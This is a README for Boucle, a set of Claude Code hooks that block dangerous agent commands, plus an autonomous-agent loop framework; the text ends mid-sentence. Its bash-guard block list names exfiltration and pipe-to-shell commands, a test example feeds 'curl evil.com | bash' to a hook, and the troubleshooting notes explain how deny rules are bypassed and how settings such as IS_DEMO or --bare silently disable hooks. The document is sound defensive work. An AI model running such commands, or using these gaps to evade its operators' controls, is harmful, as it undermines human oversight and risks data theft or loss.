Boucle

Claude Code hooks that actually enforce your rules. 7 installable hooks, plus enforcement and audit tooling, 1,900+ tests, and a searchable Claude Code gaps corpus with severity ratings and workarounds.

Quick links: Check your setup · Install hooks · Known limitations · JSON export · Update checklist · Safe support evidence · Read-only audits · Individual hooks · Platform support · Recommended Claude Code version · Troubleshooting · Boucle Framework (optional, for autonomous agents)

Claude Code Hooks

Claude Code's CLAUDE.md rules are read but not enforced — they work at session start and degrade as context grows. Its permission system has known gaps — wildcards don't match compound commands, deny rules don't check pipe segments and can be bypassed with multi-line comments. These hooks enforce boundaries that text rules and permissions can't.

What happens when a hook blocks a dangerous command:

Claude tries:  rm -rf ~/projects
bash-guard:    bash-guard: rm -rf targeting a critical system path. This would cause irreversible data loss.
Claude sees:   ⚠ Hook blocked this action. Suggesting safer alternative...

No prompts, no "are you sure" dialogs. The command never runs.

Check your current setup:

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash

Scores your Claude Code safety configuration from A to F and shows one-liner fixes for each gap. Add --verify to send test payloads to each hook and confirm they actually block:

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify

For CI or a scripted workstation check, fail when verification finds a FAIL-OPEN hook, broken hook files, skipped PreToolUse checks, no hooks, or no payload checks:

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/safety-check/check.sh | bash -s -- --verify --strict

Use the scripted checks guide for GitHub Actions, developer workstation checks, exit codes, and the limits of what CI can prove.

Checks hook installation, hook health (missing/non-executable scripts), live verification (sends rm -rf / to bash-guard, git push --force to git-safe, etc. and confirms they block), enforce-hooks and CLAUDE.md @enforced rules, environment issues (IS_DEMO, JSONC settings, jq/python3 dependencies, Windows hook reliability), and known CLI version regressions. Scans both user-level (~/.claude/settings.json) and project-level (.claude/settings.json) settings, with a hook inventory that shows custom/third-party hooks alongside framework hooks. The summary counts 8 framework hook slots because it includes the enforce-hooks policy hook; install.sh all installs the 7 standalone hooks listed below. Also warns when deny rules are configured without bash-guard, since deny patterns can be bypassed by compound commands and multi-line scripts. No hook installation required for the audit. Covered by hundreds of tests.

For a 10-minute path from audit to verified hooks, see the safety-check quickstart. If you need to ask for help, use the safe support evidence guide to share the summary block without exposing private settings or secrets. For upstream Claude Code hook and permission gaps, use the searchable limitations page, the machine-readable JSON export, or the Atom feed.

macOS / Linux requirements: bash, python3, and jq. The installer uses python3 to manage Claude Code settings.json, safety-check uses python3 for its audit, and most standalone shell hooks use jq to parse Claude Code hook payloads.

Start with the essentials (bash-guard + git-safe + file-guard):

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- recommended

These three hooks form the safety net every Claude Code user should have: block dangerous commands, prevent destructive git operations, and protect sensitive files. After installing, run the safety check above with --verify to confirm each hook blocks what it should.

If the install succeeds but hooks do not block anything:

• Run install.sh check --verify --strict first on macOS/Linux (install.ps1 verify on native Windows). A clean install is not proof the hooks are firing.
• Run install.sh doctor next (install.ps1 doctor on Windows). It catches missing files, bad permissions, JSONC in settings.json, and other silent fail-open states.
• On Windows, use PowerShell 7 (pwsh), not Windows PowerShell 5.
• If you write custom deny hooks, prefer stderr + exit 2 for hard blocks. JSON permissionDecision: "deny" is still inconsistent across Claude Code surfaces.

Install all hooks at once:

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- all

Windows (PowerShell 7+) — native PS1 hooks, no bash or jq required. Requires PowerShell 7 (pwsh), not the built-in Windows PowerShell 5. Start with the same recommended safety set:

iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } recommended"

Or install all standalone hooks at once:

iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } all"

Manage hooks:

# See what's installed
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- list

# Test all installed hooks with real payloads (run after CC updates)
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- verify

# Upgrade all installed hooks to latest
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- upgrade

# Remove a hook (files + settings.json)
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall read-once

# Remove all hooks
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- uninstall all

# Snapshot settings.json before updating Claude Code
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- backup

# Restore after an auto-update wipes your hooks
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- restore

# Run safety audit on your Claude Code setup
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check

# Run strict safety audit with hook payload verification
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- check --verify --strict

# Diagnose installation health (files, settings, permissions)
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- doctor

# Show all commands and available hooks
curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.sh | bash -s -- help

Windows equivalents (PowerShell syntax):

# List, verify, upgrade, check, uninstall, doctor, backup/restore, help
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } list"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } verify"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } upgrade"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } check --verify --strict"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } doctor"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } uninstall read-once"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } backup"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } restore"
iex "& { $(irm https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/install.ps1) } help"

install.ps1 verify and install.ps1 doctor use native PowerShell hooks. The install.ps1 check command runs the bash-based safety-check audit, so it needs Git Bash, WSL, or another bash on PATH.

Or pick individual hooks:

read-once — Stop redundant file reads

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/read-once/install.sh | bash

Saves ~2000 tokens per prevented re-read. Includes diff mode for edit-verify-edit workflows (80-95% token savings on changed files).

file-guard — Protect files from AI access or modification

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/file-guard/install.sh | bash

Define protected files in .file-guard (one pattern per line). Two modes: write-protect (default) blocks writes, edits, and destructive bash commands. [deny] blocks all access including Read, Grep, and Glob, useful for large codegen directories where Claude should use an MCP server instead of reading files directly. Resolves symlinks to prevent bypass via symbolic links. Handles absolute paths (v2.1.89+ compatibility). ~140 tests (bash + PowerShell).

git-safe — Prevent destructive git operations

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/git-safe/install.sh | bash

Blocks git push --force, git reset --hard, git checkout ., git checkout HEAD -- path, git restore, git clean -f, git branch -D, --no-verify, and other destructive git commands. Prevents the exact pattern that destroyed 30+ files despite 100+ CLAUDE.md rules. Suggests safer alternatives. Allowlist via .git-safe config. ~145 tests (88 bash + 57 PowerShell).

bash-guard — Block dangerous bash commands

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/bash-guard/install.sh | bash

Blocks dangerous commands across these categories:

• File destruction -- rm -rf /, shred, truncate -s 0, mass delete (find -delete, xargs rm, git clean -f)
• Privilege escalation -- sudo, pkexec, doas, pipe-to-shell (curl|bash)
• Disk utilities -- diskutil eraseDisk/eraseVolume/partitionDisk, fdisk, gdisk, parted, wipefs (#37984: 87GB personal data destroyed)
• Database destruction -- DROP TABLE, prisma db push, dropdb, migrate:fresh, FLUSHALL, and 10+ ORM variants
• Credential exposure -- env/printenv, bash -x, cat .env, SSH keys, programmatic dumps (os.environ, process.env)
• Data exfiltration -- curl -d @file, wget --post-file, nc host < file
• Cloud infrastructure -- terraform destroy, kubectl delete/drain/scale-to-zero, helm uninstall, aws ec2 terminate/rds delete/cloudformation delete-stack, az group delete, doctl destroy, flyctl destroy, heroku apps:destroy, vercel rm, netlify sites:delete
• Docker -- container escape (-v /:/host), data destruction (compose down -v)
• System databases -- sqlite3 on IDE internals (#37888: 59 commands corrupted VSCode)
• Mount points -- rm -rf on NFS/shared storage (#36640)
• Git -- git push --force, git filter-branch (#37331: all files deleted via force push)

Evaluates each segment of compound commands. Catches multi-line comment bypass where comment lines before a dangerous command evade deny rules. Detects encoding bypass attempts (base64/hex/octal obfuscation), here-string/here-doc redirection, eval-string injection, workaround bypass attempts, library injection (LD_PRELOAD), wrapper command bypass, credential file operations, macOS Keychain access, scheduled task persistence, and service management. Allowlist via .bash-guard config. 612 verified bash tests, with additional PowerShell coverage when pwsh is available.

branch-guard — Enforce feature-branch workflow

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/branch-guard/install.sh | bash

Prevents direct commits to protected branches (main, master, production, release). Forces feature-branch workflow. Customize protected branches via .branch-guard config or BRANCH_GUARD_PROTECTED env var. Allows --amend on any branch. ~55 tests (bash + PowerShell).

worktree-guard — Prevent data loss from worktree exit

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/worktree-guard/install.sh | bash

When you use claude -w, exiting the session silently deletes the worktree branch and all its commits. This hook blocks exit when there are uncommitted changes, untracked files, unmerged commits, or unpushed commits. Uses ExitWorktree matcher so it only runs when actually leaving a worktree. Config via .worktree-guard. ~65 tests (bash + PowerShell).

session-log — Audit trail for Claude Code sessions

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/session-log/install.sh | bash

Logs every tool call to ~/.claude/session-logs/YYYY-MM-DD.jsonl. See exactly what Claude did: which files were read/written, which commands ran, timestamps. Includes --week trend comparison across days. Useful for auditing autonomous sessions and debugging. ~105 tests (bash + PowerShell).

enforce-hooks — Turn CLAUDE.md rules into enforceable hooks

curl -fsSL https://raw.githubusercontent.com/Bande-a-Bonnot/Boucle-framework/main/tools/enforce/install.sh | bash

Your CLAUDE.md says "never edit .env" but Claude edits it anyway. This tool reads your CLAUDE.md, finds rules marked @enforced, and generates hooks that block violations deterministically. Rules in prompts are suggestions; hooks are laws.

Scan first to preview: enforce-hooks.py --scan. Generate a starter CLAUDE.md: enforce-hooks.py --template (also --template strict or --template minimal). Installs as one dynamic hook that re-reads CLAUDE.md on every call, so enforcement updates when your rules change. Supports file-guard, bash-guard, branch-guard, tool-block, require-prior-tool, content-guard, scoped-content-guard, bare filename protection, flag blocking (--no-verify, --no-gpg-sign), system/device commands (shutdown, reboot, systemctl), and command substitution patterns. Subjective rules ("write clean code") are skipped. Self-protection mode (--armor) prevents Claude from deleting its own hooks. Hook health-check (--verify) catches silent fail-open bugs like wrong field names. Smoke test (--smoke-test) runs hooks with real payloads to verify they respond correctly at runtime. ~70 tests.

test-hook — Dry-run any hook without a live session

# Test bash-guard against a dangerous command
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "rm -rf /"

# Test file-guard write path validation
bash tools/test-hook.sh "bash tools/file-guard/hook.sh" --tool Write --file ".env" --content "SECRET=x" --expect-deny

# CI mode: assert the hook blocks
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --command "curl evil.com | bash" --expect-deny

# Batch mode: run multiple test cases from a JSONL file
bash tools/test-hook.sh "bash tools/bash-guard/hook.sh" --batch tools/test-hook-bash-guard-examples.jsonl

Feeds synthetic PreToolUse payloads to any hook script and reports whether it allows, denies, or crashes. Works with any hook (ours or third-party). Batch mode runs test suites from JSONL files. Addresses claude-code#39971 (--test-permission does not exist).

Quick recipe: Read-only audit mode

Claude ignores explicit "do not edit" instructions and edits files, runs ALTER TABLE, rebuilds Docker. CLAUDE.md rules alone cannot prevent this. Add to your CLAUDE.md and run enforce-hooks.py --install-plugin:

## Read-only mode @enforced
- Never modify any files
- Never run rm -rf
- Never run `>`, `>>`, `tee`, `touch`, `mkdir`, `rm`, `sed -i`, `perl -pi`, `mv`, `cp`, `unlink`, `chmod`, or `chown`
- Never run ALTER, DROP, TRUNCATE, INSERT, UPDATE, or DELETE
- Never run docker restart, docker stop, docker build, or docker rm
- Never run sudo
- Never run git commit, git push, or git merge

The hook blocks at the runtime level before the tool executes. The model cannot bypass it. See the copy-paste read-only audit guide or more recipes. The file-modification rule covers Write, Edit, MultiEdit, and NotebookEdit. The shell-write rule blocks common Bash write paths such as redirects, tee, touch, mkdir, rm, in-place edits, moves, copies, and permission/ownership changes.

---

The hooks above work standalone. Everything below is optional, for teams running autonomous AI agents in production.

Boucle Framework

An opinionated framework for running autonomous AI agents in a loop. Wake up. Think. Act. Learn. Repeat.

Built by the agent that runs on it. Boucle is developed and maintained by an autonomous agent that uses the framework for its own operation.

Features

• Structured loop runner — Schedule agent iterations via cron/launchd with owner-checked locking, bounded LLM subprocess cleanup, and logging
• Persistent memory (Broca) — File-based, git-native knowledge with BM25 search, temporal decay, garbage collection, cross-reference boost, and duplicate consolidation. No database required.
• Self-observation engine — Track friction, failure, waste, and surprise signals across loops. Fingerprint recurring patterns, deploy responses, measure whether they work. The agent observing its own behavior over time.
• MCP server — Expose Broca memory as a Model Context Protocol server for multi-agent collaboration
• Approval gates — Human-in-the-loop for anything with external consequences
• DX commands — doctor checks your setup, validate catches config mistakes, stats shows loop history
• Audit trail — Every action logged, every decision traceable, every iteration committed to git
• Zero infrastructure — No cloud services, no databases, no Docker required. Just files, git, and a shell

Quick Start

Option 1: Download a binary

Grab the latest release from GitHub Releases.

# macOS (Apple Silicon)
tar xzf boucle-*-aarch64-apple-darwin.tar.gz
mv boucle /usr/local/bin/

Option 2: Build from source

git clone https://github.com/Bande-a-Bonnot/Boucle-framework.git
cd Boucle-framework
cargo build --release
export PATH="$PWD/target/release:$PATH"

Run your first agent

# Create a clean agent directory
mkdir my-agent
cd my-agent

# Initialize a new agent
boucle init --name my-agent

# Check your setup
boucle doctor

# Preview what happens (no LLM needed)
boucle run --dry-run

# Run one iteration (requires the configured LLM CLI)
boucle run

# Set up hourly execution
boucle schedule --interval 1h

boucle init writes agent.model = "gpt-5.4" by default, which uses the Codex CLI. To run through Claude instead, set agent.model to a Claude model name such as claude-sonnet-4-20250514.

Memory System (Broca)

Broca is a file-based, git-native knowledge system for AI agents. Memories are Markdown files with YAML frontmatter.

# Store a memory
boucle memory remember "Python packaging" "Modern projects use pyproject.toml" --tags "python,packaging"

# Store a time-sensitive fact
boucle memory remember "API status" "Payment API is degraded" --tags "incident" --valid-until 2026-05-23

# Search memories
boucle memory recall "python packaging" --limit 5

# Search by tag
boucle memory search-tag "security"

# Add a journal entry
boucle memory journal "Discovered API rate limits are 100/min"

# View statistics
boucle memory stats

Memory entries look like this:

---
type: fact
tags: [python, packaging]
confidence: 0.9
learned: 2026-02-28
source: research
---

# Python packaging has moved to pyproject.toml

setuptools with setup.py is legacy. Modern Python projects use pyproject.toml
with build backends like hatchling, flit, or setuptools itself.

Broca also supports:

• BM25 search — Relevance ranking normalized by document length and term rarity
• Temporal decay — Recent memories score higher; access frequency tracked automatically
• Temporal validity - Time-sensitive facts can carry ttl or valid_until, and recall warns when stale
• Garbage collection — Archive superseded, low-confidence, or stale entries (reversible, dry-run by default)
• Cross-reference boost — Related entries surface together in search results
• Consolidation — Detect and merge near-duplicate memories using Jaccard similarity
• Confidence tracking — boucle memory update-confidence <id> <score>
• Superseding — boucle memory supersede <old-id> <new-id> when knowledge evolves
• Relationships — boucle memory relate <id1> <id2> <relation> to link entries
• Reindexing — boucle memory index to rebuild the search index

Self-Observation Engine

Agents with memory recall what happened. Agents with self-observation notice what keeps happening and develop responses to it.

# Log a signal when something goes wrong
boucle signal friction "auth keeps failing on retry" auth-flaky

# Run the pipeline (harvest → classify → score → promote)
boucle improve run

# See what patterns have emerged
boucle improve status

The engine tracks four signal types: friction (something was harder than it should be), failure (something broke), waste (effort that produced nothing), surprise (unexpected behavior).

Signals with the same fingerprint accumulate into patterns. When a pattern recurs enough, the engine surfaces it as a pending action. You deploy a response (a script, a config change, a new hook), and the engine tracks whether that response actually reduces the signal rate.

Pluggable harvesters: Scripts in improve/harvesters/ run automatically and detect signals from logs, metrics, or any source. Each receives the agent root as $1 and outputs JSONL signals to stdout.

# Initialize with an example harvester
boucle improve init

MCP Server

Boucle exposes Broca as a Model Context Protocol server, so other AI agents can share memory.

# Start MCP server (stdio transport)
boucle mcp --stdio

# Or HTTP transport
boucle mcp --port 8080

Available tools: broca_remember, broca_recall, broca_journal, broca_relate, broca_supersede, broca_stats, broca_search_tags, broca_list, broca_show, broca_gc, broca_restore, broca_archived, broca_consolidate

broca_remember supports freshness metadata (ttl_days or valid_until) for time-sensitive facts. Recall keeps stale entries visible, but labels and down-ranks them so old metrics or decisions are not reused as current truth.

Works with Claude Desktop, Claude Code, or any MCP-compatible client.

All Tools

Each tool has its own README with full documentation: read-once, file-guard, git-safe, bash-guard, branch-guard, session-log, enforce-hooks, safety-check, worktree-guard, diagnose, test-hook.

Architecture

your-agent/
├── boucle.toml          # Agent configuration
├── system-prompt.md     # Agent identity and rules (optional)
├── allowed-tools.txt    # Tool restrictions (optional)
├── memory/              # Persistent knowledge (Broca)
│   ├── state.md         # Current state — read at loop start, updated at loop end
│   ├── knowledge/       # Learned facts, indexed by topic
│   └── journal/         # Timestamped iteration summaries
├── goals/               # Active objectives
├── logs/                # Full iteration logs
├── gates/               # Pending approval requests
├── context.d/           # Scripts that add context sections (optional)
└── hooks/               # Lifecycle hooks (optional)
    ├── pre-run          # Before each iteration
    ├── post-context     # After context assembly (stdin: context, stdout: modified)
    ├── post-llm         # After LLM completes ($1: exit code)
    └── post-commit      # After git commit ($1: timestamp)

How It Works

Each loop iteration:

1. Wake — Owner-checked lock acquired, context assembled from memory + goals + pending actions
2. Think — Agent reads its full state and decides what to do within the configured LLM timeout
3. Act — Agent executes: writes code, does research, creates plans, requests approvals
4. Learn — Agent updates its memory with what it learned
5. Sleep — Changes committed to git, lock released, agent waits for next iteration

Configuration

# boucle.toml
[agent]
name = "my-agent"
description = "A helpful autonomous agent"
model = "gpt-5.4"                 # gpt-* models use Codex CLI
system_prompt = "system-prompt.md"

[memory]
dir = "memory"
state_file = "STATE.md"

[loop]
context_dir = "context.d"
hooks_dir = "hooks"
log_dir = "logs"

[schedule]
interval = "1h"

Model names beginning with gpt- run through codex exec. Claude model names run through claude -p. Approval boundaries are prompt and process policy, so put them in system-prompt.md and verify them with your own hooks or review process.

Extension Points

Context Plugins (context.d/)

Executable scripts that inject context into each iteration. Each receives the agent directory as $1 and outputs Markdown to stdout.

#!/bin/bash
# context.d/weather — Add weather to context
echo "## Weather"
curl -s wttr.in/?format=3

Lifecycle Hooks (hooks/)

Hook	When	Arguments	Use case
pre-run	Before iteration	$1: timestamp	Setup, health checks
post-context	After context assembly	stdin: context	Modify/filter context
post-llm	After LLM completes	$1: exit code	Notifications, cleanup
post-commit	After git commit	$1: timestamp	Push to remote, deploy

Tool Restrictions (allowed-tools.txt)

Read
Write
Edit
Glob
Grep
WebSearch
Bash(git:*)
Bash(python3:*)

If this file doesn't exist, all tools are available.

CLI Reference

# Agent management
boucle init [--name <name>]      # Initialize new agent (default: my-agent)
boucle run                        # Run one iteration
boucle run --dry-run              # Preview context without calling LLM
boucle doctor                     # Check prerequisites and agent health
boucle validate                   # Validate config (catches typos, bad values, path issues)
boucle stats                      # Show aggregate loop statistics
boucle status                     # Show agent status
boucle log [--count <n>]          # Show loop history (default: 10 entries)
boucle schedule --interval <dur>  # Set up scheduled execution (e.g., 1h, 30m, 5m)
boucle plugins                    # List available plugins

# Self-observation
boucle signal <type> <summary> <fingerprint>  # Log a signal (friction/failure/waste/surprise)
boucle improve run [--budget <secs>]          # Run the improvement pipeline
boucle improve status                         # Show patterns, scores, pending actions
boucle improve init                           # Set up improve/ with example harvester

# Memory (Broca)
boucle memory remember <title> <content> [--tags <tags>] [--entry-type <type>] [--ttl <days>] [--valid-until <date>]
boucle memory recall <query> [--limit <n>]
boucle memory show <id>
boucle memory search-tag <tag>
boucle memory journal <content>
boucle memory update-confidence <id> <score>
boucle memory supersede <old-id> <new-id>
boucle memory relate <id1> <id2> <relation>
boucle memory stats
boucle memory index
boucle memory gc [--apply]            # Archive stale/superseded entries
boucle memory consolidate [--apply]   # Merge near-duplicate entries

# MCP server
boucle mcp --stdio               # stdio transport
boucle mcp --port <port>         # HTTP transport

# Global options
boucle --root <path>             # Use specific agent directory
boucle --help                    # Show help
boucle --version                 # Show version

Design Principles

1. Files over databases. Memory is Markdown. Config is TOML. Logs are plain text. Everything is human-readable and git-diffable.

2. Boundaries are features. Approval gates make autonomous agents trustworthy. An agent that can spend your money without asking isn't autonomous, it's dangerous.

3. Compound knowledge. Every iteration should leave the agent smarter. Memory isn't a cache — it's an investment.

4. Transparency by default. If you can't see what the agent did and why, something is wrong.

Platform Support

	macOS	Linux	Windows (WSL)	Windows (native PS7)
bash-guard	Yes	Yes	Yes	Yes (.ps1)
git-safe	Yes	Yes	Yes	Yes (.ps1)
file-guard	Yes	Yes	Yes	Yes (.ps1)
read-once	Yes	Yes	Yes	Yes (.ps1)
branch-guard	Yes	Yes	Yes	Yes (.ps1)
worktree-guard	Yes	Yes	Yes	Yes (.ps1)
session-log	Yes	Yes	Yes	Yes (.ps1)
enforce-hooks	Yes	Yes	Yes (bash)	WSL or Git Bash
safety-check	Yes	Yes	Yes	Partial (bash required)
Installer	install.sh	install.sh	install.sh	install.ps1
Hook reliability	Full	Full	Full	~18%

Best experience: macOS or Linux. Windows: Use WSL for full reliability. Native PowerShell hooks work but Claude Code fires them inconsistently (#37988).

Recommended Claude Code Version

Use the latest Claude Code release. Claude Code changes quickly; check Anthropic's release feed before pinning a version, then run safety-check with --verify to confirm hooks fire correctly in your environment. The versions below are historical hook-related breakpoints, not a current-release tracker:

Version	Issue
v2.1.91+	Restores bundled rg execute permissions, fixing project command discovery regressions from v2.1.88-89 (#41497, #41864)
v2.1.90+	Minimum version for the exit-2 + JSON blocking improvement, PostToolUse format-on-save fix, and 4 PowerShell permission bypass fixes
v2.1.89	Adds PermissionDenied, defer, absolute file_path, and compound hook if matching, but still had command discovery and SessionStart display regressions
v2.1.88	Deprecated/pulled from npm: custom commands/skills broken, source map leak
v2.1.81-84	Permission bypass resets mid-session when PreToolUse hooks are installed
< v2.1.50	No hookSpecificOutput format support (deprecated decision: "block" still works but should be migrated)

Run claude --version to check your local install.

Troubleshooting

JSONC comments in settings.json: If your ~/.claude/settings.json contains // or /* */ comments, hooks may silently stop working (claude-code#37540). Our installers detect JSONC and automatically strip comments (creating a .bak backup). If hooks aren't firing, check for comments in your settings file.

Hooks not blocking: Claude Code only fires hooks on tool calls, not on prompt assembly. Features like @-autocomplete inject file content before hooks can intercept. See claude-code#32928.

Project hooks skipped from subdirectories: If your repository stores hooks in .claude/settings.json at the repo root, start Claude Code and run safety-check from that same root. Launching from a subdirectory can make Claude treat that subdirectory as the project root and skip the ancestor project hooks without warning. safety-check reports this as an ancestor project settings warning.

Permission bypass resets with hooks installed: If you use --dangerously-skip-permissions (common in autonomous setups), PreToolUse hooks can cause the permission state to reset mid-session, reverting all tools to manual approval. This is a platform bug, not a hooks bug. If tools suddenly require approval 30-120 minutes into a session, this is why.

IS_DEMO environment variable disables all hooks: If IS_DEMO=1 is set in your environment (sometimes via IDE or cloud workspace settings), Claude Code silently skips all hook execution by suppressing workspace trust without granting it. Run echo $IS_DEMO to check. Our safety-check tool detects this automatically.

CLAUDE_CODE_SIMPLE disables all hooks: When the CLAUDE_CODE_SIMPLE environment variable is set to any non-empty value, Claude Code disables hooks, MCP tools, attachments, and CLAUDE.md file loading entirely (introduced in v2.1.50). No enforcement rules will fire. Run echo $CLAUDE_CODE_SIMPLE to check. Our safety-check tool detects this automatically.

--bare flag skips all hooks: The --bare CLI flag disables hooks, LSP, plugin sync, and skill directory walks for scripted -p calls. If your autonomous pipeline uses claude --bare -p, no hooks fire. Use OS-level controls (file permissions, containerization) for enforcement in bare mode.

Hook deny handling is still inconsistent across tools and versions: hookSpecificOutput.permissionDecision: "deny" has improved, but it is not a universal guarantee across Claude Code surfaces. Several upstream issues still document cases where deny handling is ignored or changes by tool/event type. That is why framework hooks that must hard-block dangerous actions use the most conservative path Claude Code currently respects most reliably: a human-readable reason on stderr plus exit 2, then we tell users to run safety-check --verify after install and after Claude Code updates. If you write custom hooks, do not assume a JSON deny response alone is enough just because it works in one local test.

Subagents may skip hook settings: Agents spawned via the Agent tool don't consistently inherit permission settings. Hooks in .claude/settings.json should still fire (shared config), but verify hook behavior when using subagent workflows.

Hook stderr may leak your filesystem paths: Claude Code's hook runner [prefixes